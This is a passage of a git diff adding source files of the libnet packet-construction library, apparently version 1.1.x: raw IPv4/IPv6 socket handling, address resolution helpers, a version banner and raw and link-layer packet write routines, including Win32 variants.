+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): set SO_BROADCAST failed: %s\n",
+ __func__, strerror(errno));
+ goto bad;
+ }
+#endif /* SO_BROADCAST */
+ return (l->fd);
+
+bad:
+ return (-1);
+}
+
+
+int
+libnet_close_raw4(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ return (close(l->fd));
+}
+
+#if ((defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6) || defined (__WIN32__))
+int libnet_open_raw6(libnet_t *l)
+{
+ return (-1);
+}
+
+#else
+int
+libnet_open_raw6(libnet_t *l)
+{
+#if !(__WIN32__)
+#if (__svr4__)
+ int one = 1;
+ void *oneptr = &one;
+#else
+#if (__linux__)
+ int one = 1;
+ int *oneptr = &one;
+#endif
+#endif /* __svr4__ */
+#else
+ BOOL one;
+#endif
+
+/* Solaris IPv6 stuff */
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ l->fd = socket(PF_INET6, SOCK_RAW, IPPROTO_RAW);
+ if (l->fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): SOCK_RAW allocation failed: %s\n", __func__,
+ strerror(errno));
+ goto bad;
+ }
+
+#if (__linux__)
+ if (setsockopt(l->fd, SOL_SOCKET, SO_BROADCAST, oneptr, sizeof(one)) == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): set SO_BROADCAST failed: %s\n", __func__,
+ strerror(errno));
+ goto bad;
+ }
+#endif /* __linux__ */
+ return (l->fd);
+
+bad:
+ return (-1);
+}
+#endif
+
+int
+libnet_close_raw6(libnet_t *l)
+{
+ if (l == NULL)
+ {
+ return (-1);
+ }
+ return (close(l->fd));
+}
+#endif
+/* EOF */
diff --git a/libnet/src/libnet_resolve.c b/libnet/src/libnet_resolve.c
new file mode 100644
index 0000000..d6d0ee5
--- /dev/null
+++ b/libnet/src/libnet_resolve.c
@@ -0,0 +1,414 @@
+/*
+ * $Id: libnet_resolve.c,v 1.20 2004/03/04 20:52:26 kkuehl Exp $
+ *
+ * libnet
+ * libnet_resolve.c - various name resolution type routines
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+char *
+libnet_addr2name4(u_int32_t in, u_int8_t use_name)
+{
+ #define HOSTNAME_SIZE 512
+ static char hostname[HOSTNAME_SIZE+1], hostname2[HOSTNAME_SIZE+1];
+ static u_int16_t which;
+ u_int8_t *p;
+
+ struct hostent *host_ent = NULL;
+ struct in_addr addr;
+
+ /*
+ * Swap to the other buffer. We swap static buffers to avoid having to
+ * pass in a int8_t *. This makes the code that calls this function more
+ * intuitive, but makes this function ugly. This function is seriously
+ * non-reentrant. For threaded applications (or for signal handler code)
+ * use host_lookup_r().
+ */
+ which++;
+
+ if (use_name == LIBNET_RESOLVE)
+ {
+ addr.s_addr = in;
+ host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr), AF_INET);
+ /* if this fails, we silently ignore the error and move to plan b! */
+ }
+ if (!host_ent)
+ {
+
+ p = (u_int8_t *)&in;
+ snprintf(((which % 2) ? hostname : hostname2), HOSTNAME_SIZE,
+ "%d.%d.%d.%d",
+ (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
+ }
+ else if (use_name == LIBNET_RESOLVE)
+ {
+ char *ptr = ((which % 2) ? hostname : hostname2);
+ strncpy(ptr, host_ent->h_name, HOSTNAME_SIZE);
+ ptr[HOSTNAME_SIZE] = '\0';
+
+ }
+ return (which % 2) ? (hostname) : (hostname2);
+}
+
+void
+libnet_addr2name4_r(u_int32_t in, u_int8_t use_name, char *hostname,
+ int hostname_len)
+{
+ u_int8_t *p;
+ struct hostent *host_ent = NULL;
+ struct in_addr addr;
+
+ if (use_name == LIBNET_RESOLVE)
+ {
+ addr.s_addr = in;
+ host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr),
+ AF_INET);
+ }
+ if (!host_ent)
+ {
+ p = (u_int8_t *)&in;
+ snprintf(hostname, hostname_len, "%d.%d.%d.%d",
+ (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255));
+ }
+ else
+ {
+ strncpy(hostname, host_ent->h_name, hostname_len - 1);
+ hostname[sizeof(hostname) - 1] = '\0';
+ }
+}
+
+u_int32_t
+libnet_name2addr4(libnet_t *l, char *host_name, u_int8_t use_name)
+{
+ struct in_addr addr;
+ struct hostent *host_ent;
+ u_int32_t m;
+ u_int val;
+ int i;
+
+ if (use_name == LIBNET_RESOLVE)
+ {
+ if ((addr.s_addr = inet_addr(host_name)) == -1)
+ {
+ if (!(host_ent = gethostbyname(host_name)))
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %s\n", __func__, strerror(errno));
+ /* XXX - this is actually 255.255.255.255 */
+ return (-1);
+ }
+ memcpy(&addr.s_addr, host_ent->h_addr, host_ent->h_length);
+ }
+ /* network byte order */
+ return (addr.s_addr);
+ }
+ else
+ {
+ /*
+ * We only want dots 'n decimals.
+ */
+ if (!isdigit(host_name[0]))
+ {
+ if (l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): expecting dots and decimals\n", __func__);
+ }
+ /* XXX - this is actually 255.255.255.255 */
+ return (-1);
+ }
+
+ m = 0;
+ for (i = 0; i < 4; i++)
+ {
+ m <<= 8;
+ if (*host_name)
+ {
+ val = 0;
+ while (*host_name && *host_name != '.')
+ {
+ val *= 10;
+ val += *host_name - '0';
+ if (val > 255)
+ {
+ if (l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): value greater than 255\n", __func__);
+ }
+ /* XXX - this is actually 255.255.255.255 */
+ return (-1);
+ }
+ host_name++;
+ }
+ m |= val;
+ if (*host_name)
+ {
+ host_name++;
+ }
+ }
+ }
+ /* host byte order */
+ return (ntohl(m));
+ }
+}
+
+void
+libnet_addr2name6_r(struct libnet_in6_addr addr, u_int8_t use_name,
+ char *host_name, int host_name_len)
+{
+ struct hostent *host_ent = NULL;
+
+ if (use_name == LIBNET_RESOLVE)
+ {
+#ifdef HAVE_SOLARIS
+#ifdef HAVE_SOLARIS_IPV6
+ host_ent = getipnodebyaddr((int8_t *)&addr, sizeof(struct in_addr),
+ AF_INET6, NULL);
+#else
+ /* XXX - Gah! Can't report error! */
+ host_ent = NULL;
+#endif
+#else
+ host_ent = gethostbyaddr((int8_t *)&addr, sizeof(struct in_addr),
+ AF_INET6);
+#endif
+ }
+ if (!host_ent)
+ {
+#if !defined(__WIN32__) /* Silence Win32 warning */
+ inet_ntop(AF_INET6, &addr, host_name, host_name_len);
+#endif
+ }
+ else
+ {
+ strncpy(host_name, host_ent->h_name, host_name_len -1);
+ host_name[sizeof(host_name) - 1] = '\0';
+ }
+}
+
+const struct libnet_in6_addr in6addr_error = IN6ADDR_ERROR_INIT;
+
+struct libnet_in6_addr
+libnet_name2addr6(libnet_t *l, char *host_name, u_int8_t use_name)
+{
+#if !defined (__WIN32__)
+ struct libnet_in6_addr addr;
+ struct hostent *host_ent;
+#endif
+
+ if (use_name == LIBNET_RESOLVE)
+ {
+#ifdef __WIN32__
+ /* XXX - we don't support this yet */
+ if (l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't resolve IPv6 addresses\n", __func__);
+ }
+ return (in6addr_error);
+#else
+#ifdef HAVE_SOLARIS
+#ifdef HAVE_SOLARIS_IPV6
+ if (!(host_ent = getipnodebyname((int8_t *)&addr,
+ sizeof(struct in_addr), AF_INET6, NULL)))
+#else
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %s\n", __func__, strerror(errno));
+ return (in6addr_error);
+#endif
+#else
+ if (!(host_ent = gethostbyname2(host_name, AF_INET6)))
+#endif
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %s", __func__, strerror(errno));
+ return (in6addr_error);
+ }
+ memcpy(&addr, host_ent->h_addr, host_ent->h_length);
+ return (addr);
+#endif /* !__WIN32__ */
+ }
+ else
+ {
+ #if defined(__WIN32__) /* Silence Win32 warning */
+ if (l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): can't resolve IPv6 addresses.\n", __func__);
+ }
+ return (in6addr_error);
+ #else
+ if(!inet_pton(AF_INET6, host_name, &addr))
+ {
+ if (l)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): invalid IPv6 address\n", __func__);
+ }
+ return (in6addr_error);
+ }
+ return (addr);
+ #endif
+ }
+}
+
+struct libnet_in6_addr
+libnet_get_ipaddr6(libnet_t *l)
+{
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): not yet Implemented\n", __func__);
+ return (in6addr_error);
+}
+
+#if !defined(__WIN32__)
+u_int32_t
+libnet_get_ipaddr4(libnet_t *l)
+{
+ struct ifreq ifr;
+ register struct sockaddr_in *sin;
+ int fd;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ /* create dummy socket to perform an ioctl upon */
+ fd = socket(PF_INET, SOCK_DGRAM, 0);
+ if (fd == -1)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): socket(): %s\n", __func__, strerror(errno));
+ return (-1);
+ }
+
+ sin = (struct sockaddr_in *)&ifr.ifr_addr;
+
+ if (l->device == NULL)
+ {
+ if (libnet_select_device(l) == -1)
+ {
+ /* error msg set in libnet_select_device() */
+ close(fd);
+ return (-1);
+ }
+ }
+ strncpy(ifr.ifr_name, l->device, sizeof(ifr.ifr_name) -1);
+ ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
+
+ ifr.ifr_addr.sa_family = AF_INET;
+
+ if (ioctl(fd, SIOCGIFADDR, (int8_t*) &ifr) < 0)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): ioctl(): %s\n", __func__, strerror(errno));
+ close(fd);
+ return (-1);
+ }
+ close(fd);
+ return (sin->sin_addr.s_addr);
+}
+#else
+#include <Packet32.h>
+u_int32_t
+libnet_get_ipaddr4(libnet_t *l)
+{
+ long npflen = 0;
+ struct sockaddr_in sin;
+ struct npf_if_addr ipbuff;
+
+ memset(&sin,0,sizeof(sin));
+ memset(&ipbuff,0,sizeof(ipbuff));
+
+ npflen = sizeof(ipbuff);
+ if (PacketGetNetInfoEx(l->device, &ipbuff, &npflen))
+ {
+ sin = *(struct sockaddr_in *)&ipbuff.IPAddress;
+ }
+ return (sin.sin_addr.s_addr);
+}
+#endif /* WIN32 */
+
+u_int8_t *
+libnet_hex_aton(int8_t *s, int *len)
+{
+ u_int8_t *buf;
+ int i;
+ int32_t l;
+ int8_t *pp;
+
+ while (isspace(*s))
+ {
+ s++;
+ }
+ for (i = 0, *len = 0; s[i]; i++)
+ {
+ if (s[i] == ':')
+ {
+ (*len)++;
+ }
+ }
+ buf = malloc(*len + 1);
+ if (buf == NULL)
+ {
+ return (NULL);
+ }
+ /* expect len hex octets separated by ':' */
+ for (i = 0; i < *len + 1; i++)
+ {
+ l = strtol(s, (char **)&pp, 16);
+ if (pp == s || l > 0xff || l < 0)
+ {
+ *len = 0;
+ free(buf);
+ return (NULL);
+ }
+ if (!(*pp == ':' || (i == *len && (isspace(*pp) || *pp == '\0'))))
+ {
+ *len = 0;
+ free(buf);
+ return (NULL);
+ }
+ buf[i] = (u_int8_t)l;
+ s = pp + 1;
+ }
+ /* return int8_tacter after the octets ala strtol(3) */
+ (*len)++;
+ return (buf);
+}
+
+/* EOF */
diff --git a/libnet/src/libnet_version.c b/libnet/src/libnet_version.c
new file mode 100644
index 0000000..b06c7db
--- /dev/null
+++ b/libnet/src/libnet_version.c
@@ -0,0 +1,54 @@
+/*
+ * $Id: libnet_version.c,v 1.6 2004/01/03 20:31:02 mike Exp $
+ *
+ * libnet
+ * libnet_version.c - dummy version function to define version info
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (!(_WIN32) || (__CYGWIN__))
+#include <unistd.h>
+#include "../version.h"
+#else
+#include "../include/win32/libnet.h"
+#endif
+
+static const char banner[] =
+"libnet version "VERSION" (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>\n";
+
+void
+__libnet_print_vers(void)
+{
+ /*
+ * We don't check for error cos we really don't care.
+ */
+ #if defined (__WIN32__)
+ fprintf(stdout,"%s",banner);
+ #else
+ write(STDOUT_FILENO, banner, sizeof(banner) - 1);
+ #endif
+}
diff --git a/libnet/src/libnet_write.c b/libnet/src/libnet_write.c
new file mode 100644
index 0000000..cf8d073
--- /dev/null
+++ b/libnet/src/libnet_write.c
@@ -0,0 +1,421 @@
+/*
+ * $Id: libnet_write.c,v 1.13 2004/02/20 18:53:50 mike Exp $
+ *
+ * libnet
+ * libnet_write.c - writes a prebuilt packet to the network
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ * win32 specific code
+ * Copyright (c) 2002 - 2003 Roberto Larcher <roberto.larcher@libero.it>
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#if (!(_WIN32) || (__CYGWIN__))
+#include "../include/libnet.h"
+#else
+#include "../include/win32/libnet.h"
+#include "../include/win32/config.h"
+#include "packet32.h"
+#include "Ntddndis.h"
+#endif
+
+int
+libnet_write(libnet_t *l)
+{
+ int c;
+ u_int32_t len;
+ u_int8_t *packet = NULL;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ c = libnet_pblock_coalesce(l, &packet, &len);
+ if (c == - 1)
+ {
+ /* err msg set in libnet_pblock_coalesce() */
+ return (-1);
+ }
+
+ /* assume error */
+ c = -1;
+ switch (l->injection_type)
+ {
+ case LIBNET_RAW4:
+ case LIBNET_RAW4_ADV:
+ if (len > LIBNET_MAX_PACKET)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): packet is too large (%d bytes)\n",
+ __func__, len);
+ goto done;
+ }
+ c = libnet_write_raw_ipv4(l, packet, len);
+ break;
+ case LIBNET_RAW6:
+ case LIBNET_RAW6_ADV:
+ c = libnet_write_raw_ipv6(l, packet, len);
+ break;
+ case LIBNET_LINK:
+ case LIBNET_LINK_ADV:
+ c = libnet_write_link(l, packet, len);
+ break;
+ default:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): unsuported injection type\n", __func__);
+ goto done;
+ }
+
+ /* do statistics */
+ if (c == len)
+ {
+ l->stats.packets_sent++;
+ l->stats.bytes_written += c;
+ }
+ else
+ {
+ l->stats.packet_errors++;
+ /*
+ * XXX - we probably should have a way to retrieve the number of
+ * bytes actually written (since we might have written something).
+ */
+ if (c > 0)
+ {
+ l->stats.bytes_written += c;
+ }
+ }
+done:
+ /*
+ * Restore original pointer address so free won't complain about a
+ * modified chunk pointer.
+ */
+ if (l->aligner > 0)
+ {
+ packet = packet - l->aligner;
+ }
+ free(packet);
+ return (c);
+}
+
+#if defined (__WIN32__)
+libnet_ptag_t
+libnet_win32_build_fake_ethernet(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, u_int8_t *packet, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ struct libnet_ethernet_hdr eth_hdr;
+
+ if (!packet)
+ {
+ return (-1);
+ }
+
+ memset(&eth_hdr, 0, sizeof(eth_hdr));
+ eth_hdr.ether_type = htons(type);
+ memcpy(eth_hdr.ether_dhost, dst, ETHER_ADDR_LEN); /* destination address */
+ memcpy(eth_hdr.ether_shost, src, ETHER_ADDR_LEN); /* source address */
+
+ if (payload && payload_s)
+ {
+ /*
+ * Unchecked runtime error for buf + ETH_H payload to be greater than
+ * the allocated heap memory.
+ */
+ memcpy(packet + LIBNET_ETH_H, payload, payload_s);
+ }
+ memcpy(packet, &eth_hdr, sizeof(eth_hdr));
+ return (1);
+}
+
+libnet_ptag_t
+libnet_win32_build_fake_token(u_int8_t *dst, u_int8_t *src, u_int16_t type,
+u_int8_t *payload, u_int32_t payload_s, u_int8_t *packet, libnet_t *l,
+libnet_ptag_t ptag)
+{
+ struct libnet_token_ring_hdr token_ring_hdr;
+
+ if (!packet)
+ {
+ return (-1);
+ }
+
+ memset(&token_ring_hdr, 0, sizeof(token_ring_hdr));
+ token_ring_hdr.token_ring_access_control = 0x10;
+ token_ring_hdr.token_ring_frame_control = 0x40;
+ token_ring_hdr.token_ring_llc_dsap = 0xaa;
+ token_ring_hdr.token_ring_llc_ssap = 0xaa;
+ token_ring_hdr.token_ring_llc_control_field = 0x03;
+ token_ring_hdr.token_ring_type = htons(type);
+ memcpy(token_ring_hdr.token_ring_dhost, dst, ETHER_ADDR_LEN);
+ memcpy(token_ring_hdr.token_ring_shost, libnet_get_hwaddr(l),
+ ETHER_ADDR_LEN);
+
+ if (payload && payload_s)
+ {
+ /*
+ * Unchecked runtime error for buf + ETH_H payload to be greater than
+ * the allocated heap memory.
+ */
+ memcpy(packet + LIBNET_TOKEN_RING_H, payload, payload_s);
+ }
+ memcpy(packet, &token_ring_hdr, sizeof(token_ring_hdr));
+ return (1);
+}
+
+
+int
+libnet_win32_write_raw_ipv4(libnet_t *l, u_int8_t *payload, u_int32_t payload_s)
+{
+ static BYTE dst[ETHER_ADDR_LEN];
+ static BYTE src[ETHER_ADDR_LEN];
+
+ u_int8_t *packet = NULL;
+ u_int32_t packet_s;
+
+ LPPACKET lpPacket = NULL;
+ DWORD remoteip = 0;
+ DWORD BytesTransfered;
+ NetType type;
+ struct libnet_ipv4_hdr *ip_hdr = NULL;
+
+ memset(dst, 0, sizeof(dst));
+ memset(src, 0, sizeof(src));
+
+ packet_s = payload_s + l->link_offset;
+ packet = (u_int8_t *)malloc(packet_s);
+ if (packet == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): failed to allocate packet\n", __func__);
+ return (-1);
+ }
+
+ /* we have to do the IP checksum */
+ if (libnet_do_checksum(l, payload, IPPROTO_IP, LIBNET_IPV4_H) == -1)
+ {
+ /* error msg set in libnet_do_checksum */
+ return (-1);
+ }
+
+ /* MACs, IPs and other stuff... */
+ ip_hdr = (struct libnet_ipv4_hdr *)payload;
+ memcpy(src, libnet_get_hwaddr(l), sizeof(src));
+ remoteip = ip_hdr->ip_dst.S_un.S_addr;
+
+ /* check if the remote station is the local station */
+ if (remoteip == libnet_get_ipaddr4(l))
+ {
+ memcpy(dst, src, sizeof(dst));
+ }
+ else
+ {
+ memcpy(dst, libnet_win32_get_remote_mac(l, remoteip), sizeof(dst));
+ }
+
+ PacketGetNetType(l->lpAdapter, &type);
+
+ switch(type.LinkType)
+ {
+ case NdisMedium802_3:
+ libnet_win32_build_fake_ethernet(dst, src, ETHERTYPE_IP, payload,
+ payload_s, packet, l , 0);
+ break;
+ case NdisMedium802_5:
+ libnet_win32_build_fake_token(dst, src, ETHERTYPE_IP, payload,
+ payload_s, packet, l, 0);
+ break;
+ case NdisMediumFddi:
+ break;
+ case NdisMediumWan:
+ case NdisMediumAtm:
+ case NdisMediumArcnet878_2:
+ default:
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): network type (%d) is not supported\n", __func__,
+ type.LinkType);
+ return (-1);
+ break;
+ }
+
+ BytesTransfered = -1;
+ if ((lpPacket = PacketAllocatePacket()) == NULL)
+ {
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): failed to allocate the LPPACKET structure\n", __func__);
+ return (-1);
+ }
+
+ PacketInitPacket(lpPacket, packet, packet_s);
+
+ /* PacketSendPacket returns a BOOLEAN */
+ if (PacketSendPacket(l->lpAdapter, lpPacket, TRUE))
+ {
+ BytesTransfered = packet_s;
+ }
+
+ PacketFreePacket(lpPacket);
+ free(packet);
+
+ return (BytesTransfered);
+}
+
+int
+libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ return (libnet_win32_write_raw_ipv4(l, packet, size));
+}
+
+int
+libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ /* no difference in win32 */
+ return (libnet_write_raw_ipv4(l, packet, size));
+}
+
+#else /* __WIN32__ */
+
+int
+libnet_write_raw_ipv4(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+ int c;
+ struct sockaddr_in sin;
+ struct libnet_ipv4_hdr *ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ ip_hdr = (struct libnet_ipv4_hdr *)packet;
+
+#if (LIBNET_BSD_BYTE_SWAP)
+ /*
+ * For link access, we don't need to worry about the inconsistencies of
+ * certain BSD kernels. However, raw socket nuances abound. Certain
+ * BSD implmentations require the ip_len and ip_off fields to be in host
+ * byte order.
+ */
+ ip_hdr->ip_len = FIX(ip_hdr->ip_len);
+ ip_hdr->ip_off = FIX(ip_hdr->ip_off);
+#endif /* LIBNET_BSD_BYTE_SWAP */
+
+ memset(&sin, 0, sizeof(sin));
+ sin.sin_family = AF_INET;
+ sin.sin_addr.s_addr = ip_hdr->ip_dst.s_addr;
+#if (__WIN32__)
+ /* set port for TCP */
+ /*
+ * XXX - should first check to see if there's a pblock for a TCP
+ * header, if not we can use a dummy value for the port.
+ */
+ if (ip_hdr->ip_p == 6)
+ {
+ struct libnet_tcp_hdr *tcph_p =
+ (struct libnet_tcp_hdr *)(packet + (ip_hdr->ip_hl << 2));
+ sin.sin_port = tcph_p->th_dport;
+ }
+ /* set port for UDP */
+ /*
+ * XXX - should first check to see if there's a pblock for a UDP
+ * header, if not we can use a dummy value for the port.
+ */
+ else if (ip_hdr->ip_p == 17)
+ {
+ struct libnet_udp_hdr *udph_p =
+ (struct libnet_udp_hdr *)(packet + (ip_hdr->ip_hl << 2));
+ sin.sin_port = udph_p->uh_dport;
+ }
+#endif /* __WIN32__ */
+
+ c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin,
+ sizeof(struct sockaddr));
+
+#if (LIBNET_BSD_BYTE_SWAP)
+ ip_hdr->ip_len = UNFIX(ip_hdr->ip_len);
+ ip_hdr->ip_off = UNFIX(ip_hdr->ip_off);
+#endif /* LIBNET_BSD_BYTE_SWAP */
+
+ if (c != size)
+ {
+#if !(__WIN32__)
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %d bytes written (%s)\n", __func__, c,
+ strerror(errno));
+#else /* __WIN32__ */
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %d bytes written (%d)\n", __func__, c,
+ WSAGetLastError());
+#endif /* !__WIN32__ */
+ }
+ return (c);
+}
+
+int
+libnet_write_raw_ipv6(libnet_t *l, u_int8_t *packet, u_int32_t size)
+{
+#if defined HAVE_SOLARIS && !defined HAVE_SOLARIS_IPV6
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): no IPv6 support\n",
+ __func__, strerror(errno));
+ return (-1);
+}
+#else
+ int c;
+ struct sockaddr_in6 sin;
+ struct libnet_ipv6_hdr *ip_hdr;
+
+ if (l == NULL)
+ {
+ return (-1);
+ }
+
+ ip_hdr = (struct libnet_ipv6_hdr *)packet;
+
+ memset(&sin, 0, sizeof(sin));
+ sin.sin6_family = AF_INET6;
+ memcpy(sin.sin6_addr.s6_addr, ip_hdr->ip_dst.libnet_s6_addr,
+ sizeof(ip_hdr->ip_dst.libnet_s6_addr));
+
+ c = sendto(l->fd, packet, size, 0, (struct sockaddr *)&sin, sizeof(sin));
+ if (c != size)
+ {
+#if !(__WIN32__)
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %d bytes written (%s)\n", __func__, c,
+ strerror(errno));
+#else /* __WIN32__ */
+ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE,
+ "%s(): %d bytes written (%d)\n", __func__, c,
+ WSAGetLastError());
+#endif /* !__WIN32__ */
+ }
+ return (c);
+}
+#endif
+#endif
+/* EOF */
diff --git a/libnet/version.h.in b/libnet/version.h.in
new file mode 100644
index 0000000..fdcd8b7
--- /dev/null
+++ b/libnet/version.h.in
@@ -0,0 +1,6 @@
+/*
+ * $Id: version.h.in,v 1.1.1.1 2003/06/26 21:55:10 route Exp $
+ * @configure_input@
+ */
+
+#define VERSION "@LIBNET_VERSION@"
diff --git a/libnet/win32/CVS/Entries b/libnet/win32/CVS/Entries
new file mode 100644
index 0000000..3b29a1e
--- /dev/null
+++ b/libnet/win32/CVS/Entries
@@ -0,0 +1,15 @@
+/Libnet-1.1.1-2002.sln/1.1/Tue Sep 16 17:00:47 2003//
+/Libnet-1.1.1-2003.sln/1.2/Tue Oct 21 04:15:15 2003//
+/Libnet-latest.ncb/1.3/Tue Sep 16 17:00:47 2003/-kb/
+/Libnet-latest.opt/1.1/Wed Sep 10 18:30:37 2003/-kb/
+/Libnet-latest.sln/1.3/Wed Sep 10 18:30:37 2003//
